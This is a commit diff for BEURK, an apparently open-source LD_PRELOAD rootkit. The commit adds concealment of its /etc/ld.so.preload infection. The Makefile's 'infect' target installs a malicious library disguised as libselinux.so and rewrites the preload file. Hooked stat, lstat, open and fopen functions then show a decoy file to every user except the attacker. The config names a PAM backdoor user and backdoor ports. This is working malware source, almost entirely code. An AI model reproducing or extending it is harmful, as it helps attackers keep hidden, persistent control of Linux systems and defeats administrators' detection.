feat(core): issue unix-thrust#78

invisible content /etc/ld.so.preload
CrackerCat · Aug 1, 2024 · 5c37025 · 5c37025
1 parent f6b2d4e
commit 5c37025
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Showing 16 changed files with 83 additions and 9 deletions.
diff --git a/Makefile b/Makefile
@@ -3,17 +3,21 @@ UNAME				:= $(shell uname -s)
 SHELL				:= /bin/bash
 
 # set default config values (can be overidden by setting env vars)
-BEURK_CONFIG_FILE	?= beurk.conf
-BEURK_LIBRARY_NAME	?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
-BEURK_DEBUG_LEVEL	?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
-BEURK_INFECT_DIR	?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
+BEURK_CONFIG_FILE			?= beurk.conf
+BEURK_LIBRARY_NAME			?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
+BEURK_DEBUG_LEVEL			?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
+BEURK_INFECT_DIR			?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
+BEURK_FAKE_LD_PRELOAD		?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
+BEURK_ENV_IS_ATTACKER		?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
 
 # do not infect the system in debug mode
 ifneq ($(BEURK_DEBUG_LEVEL), 0)
     BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload
     BEURK_INFECT_DIR := /tmp/beurk
+    #BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD)
 else
     BEURK_LD_PRELOAD := /etc/ld.so.preload
+    BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD)
 endif
 
 # absolute install path
@@ -113,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME)
 	@echo "Install in $(BEURK_INFECT_ABSPATH)"
 	install -d $(BEURK_INFECT_DIR)
 	install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/
-	echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD)
+	cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD)
+	echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD)
 	@echo "Successful infection"
 
 # uninstall the rootkit (if installed on current system)
 disinfect:
 	@echo "Uninstall $(BEURK_INFECT_ABSPATH)"
 	$(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME)
-	sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD)
+	$(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD)
+	mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD)
 	@echo "Successful disinfection"
 
 # remove object files

diff --git a/beurk.conf b/beurk.conf
@@ -6,6 +6,9 @@
 # str: name of the generated evil hooking library
 LIBRARY_NAME = libselinux.so
 
+# str: ld.so.preload file
+LD_PRELOAD = /etc/ld.so.preload
+
 # str: where to store infected, only work in `production` mode
 INFECT_DIR = /lib
 
@@ -21,6 +24,11 @@ DEBUG_FILE = /dev/stderr
 # str: hide files with this string in the name
 MAGIC_STRING = _BEURK_
 
+# str: fake ld.so.preload file
+# WARNING MAGIC_STRING is present
+# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD
+FAKE_LD_PRELOAD = /etc/_BEURK_ld_so_preload
+
 # str: PAM username (for su / ssh login)
 PAM_USER = beurkroot
 

diff --git a/includes/beurk.h b/includes/beurk.h
@@ -43,6 +43,9 @@ int         is_attacker(void) INTERNAL_API;
 /* is_hidden_file.c */
 int         is_hidden_file(const char *path) INTERNAL_API;
 
+/* is_ld_preload_file.c */
+int         is_ld_preload_file(const char *path) INTERNAL_API;
+
 /* is_procnet.c */
 int         is_procnet(const char *path) INTERNAL_API;
 

diff --git a/reconfigure b/reconfigure
@@ -62,11 +62,13 @@ def type_hexbyte(v):
 # the list of config keys (with their associated expected type)
 CONFIG_KEYS = {
         "LIBRARY_NAME": type_str,
+        "LD_PRELOAD": type_str,
         "INFECT_DIR": type_str,
         "DEBUG_LEVEL": type_int,
         "DEBUG_FILE": type_str,
         "XOR_KEY": type_hexbyte,
         "MAGIC_STRING": type_str,
+        "FAKE_LD_PRELOAD": type_str,
         "PAM_USER": type_str,
         "LOW_BACKDOOR_PORT": type_int,
         "HIGH_BACKDOOR_PORT": type_int,

diff --git a/src/hooks/__lxstat.c b/src/hooks/__lxstat.c
@@ -32,6 +32,10 @@ int __lxstat(int ver, const char *path, struct stat *buf) {
     if (is_attacker())
         return (REAL___LXSTAT(ver, path, buf));
 
+    if (is_ld_preload_file(path)) {
+        return REAL___LXSTAT(ver, FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/__lxstat64.c b/src/hooks/__lxstat64.c
@@ -32,6 +32,10 @@ int __lxstat64(int ver, const char *path, struct stat64 *buf) {
     if (is_attacker())
         return (REAL___LXSTAT64(ver, path, buf));
 
+    if (is_ld_preload_file(path)) {
+        return REAL___LXSTAT64(ver, FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/__xstat.c b/src/hooks/__xstat.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL___XSTAT() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int __xstat(int __ver, const char *__filename, struct stat *buf) {
     if (is_attacker())
         return (REAL___XSTAT(__ver, __filename, buf));
 
+    if (is_ld_preload_file(__filename)) {
+        return REAL___XSTAT(__ver, FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(__filename)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/__xstat64.c b/src/hooks/__xstat64.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat64 */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL___XSTAT64() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int __xstat64(int ver, const char *__restrict __file, struct stat64 *buf) {
     if (is_attacker())
         return (REAL___XSTAT64(ver, __file, buf));
 
+    if (is_ld_preload_file(__file)) {
+        return REAL___XSTAT64(ver, FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(__file)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/fopen.c b/src/hooks/fopen.c
@@ -19,6 +19,7 @@
  */
 
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
 #include "config.h" /* REAL_FOPEN() */
 #include "debug.h" /* DEBUG() */
@@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) {
     if (is_attacker())
         return (REAL_FOPEN(path, mode));
 
+    if (is_ld_preload_file(path))
+        return REAL_FOPEN(FAKE_LD_PRELOAD, mode);
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (NULL);

diff --git a/src/hooks/fopen64.c b/src/hooks/fopen64.c
@@ -19,6 +19,7 @@
  */
 
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
 #include "config.h" /* REAL_FOPEN64() */
 #include "debug.h" /* DEBUG() */
@@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) {
     if (is_attacker())
         return (REAL_FOPEN64(path, mode));
 
+    if (is_ld_preload_file(path))
+        return REAL_FOPEN64(FAKE_LD_PRELOAD, mode);
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (NULL);

diff --git a/src/hooks/lstat.c b/src/hooks/lstat.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL_LSTAT() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int lstat(const char *path, struct stat *buf) {
     if (is_attacker())
         return (REAL_LSTAT(path, buf));
 
+    if (is_ld_preload_file(path)) {
+        return REAL_LSTAT(FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/lstat64.c b/src/hooks/lstat64.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat64 */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL_LSTAT64() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int lstat64(const char *path, struct stat64 *buf) {
     if (is_attacker())
         return (REAL_LSTAT64(path, buf));
 
+    if (is_ld_preload_file(path)) {
+        return REAL_LSTAT64(FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(path)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/open.c b/src/hooks/open.c
@@ -21,6 +21,7 @@
 #include <stdarg.h> /* va_list, va_start(), va_args(), va_end() */
 #include <fcntl.h> /* O_CREAT */
 #include <sys/stat.h> /* mode_t */
+#include <string.h> /* strstr() */
 #include <errno.h> /* errno, ENOENT */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL_OPEN() */
@@ -42,6 +43,10 @@ int open(const char *pathname, int flag, ...) {
         if (is_attacker())
             return REAL_OPEN(pathname, flag, mode);
 
+        if (is_ld_preload_file(pathname)) {
+            return REAL_OPEN(FAKE_LD_PRELOAD, flag, mode);
+        }
+
         if (is_hidden_file(pathname)) {
             errno = ENOENT;
             return (-1);
@@ -53,6 +58,10 @@ int open(const char *pathname, int flag, ...) {
     if (is_attacker())
         return REAL_OPEN(pathname, flag);
 
+    if (is_ld_preload_file(pathname)) {
+        return REAL_OPEN(FAKE_LD_PRELOAD, flag);
+    }
+
     if (is_hidden_file(pathname)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/stat.c b/src/hooks/stat.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL_STAT() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int stat(const char *pathname, struct stat *buf) {
     if (is_attacker())
         return (REAL_STAT(pathname, buf));
 
+    if (is_ld_preload_file(pathname)) {
+        return REAL_STAT(FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(pathname)) {
         errno = ENOENT;
         return (-1);

diff --git a/src/hooks/stat64.c b/src/hooks/stat64.c
@@ -20,6 +20,7 @@
 
 #include <sys/stat.h> /* struct stat64 */
 #include <errno.h> /* errno, ENOENT */
+#include <string.h> /* strstr() */
 #include "beurk.h" /* is_attacker(), is_hidden_file() */
 #include "config.h" /* REAL_STAT() */
 #include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int stat64(const char *__restrict __file, struct stat64 *buf) {
     if (is_attacker())
         return (REAL_STAT64(__file, buf));
 
+    if (is_ld_preload_file(__file)) {
+        return REAL_STAT64(FAKE_LD_PRELOAD, buf);
+    }
+
     if (is_hidden_file(__file)) {
         errno = ENOENT;
         return (-1);

diff --git a/tests/quick/core/internal-api/run.sh b/tests/quick/core/internal-api/run.sh
@@ -41,12 +41,12 @@ done
 # distclean at exit
 trap "${MAKE} distclean" EXIT
 
-# rebuild test
-${MAKE} re
-
 # use BEURK DSO library path
 export LD_LIBRARY_PATH=${ROOTDIR}:${LD_LIBRARY_PATH}
 
+# rebuild test
+${MAKE} re
+
 # run test as victim
 ./unit-tests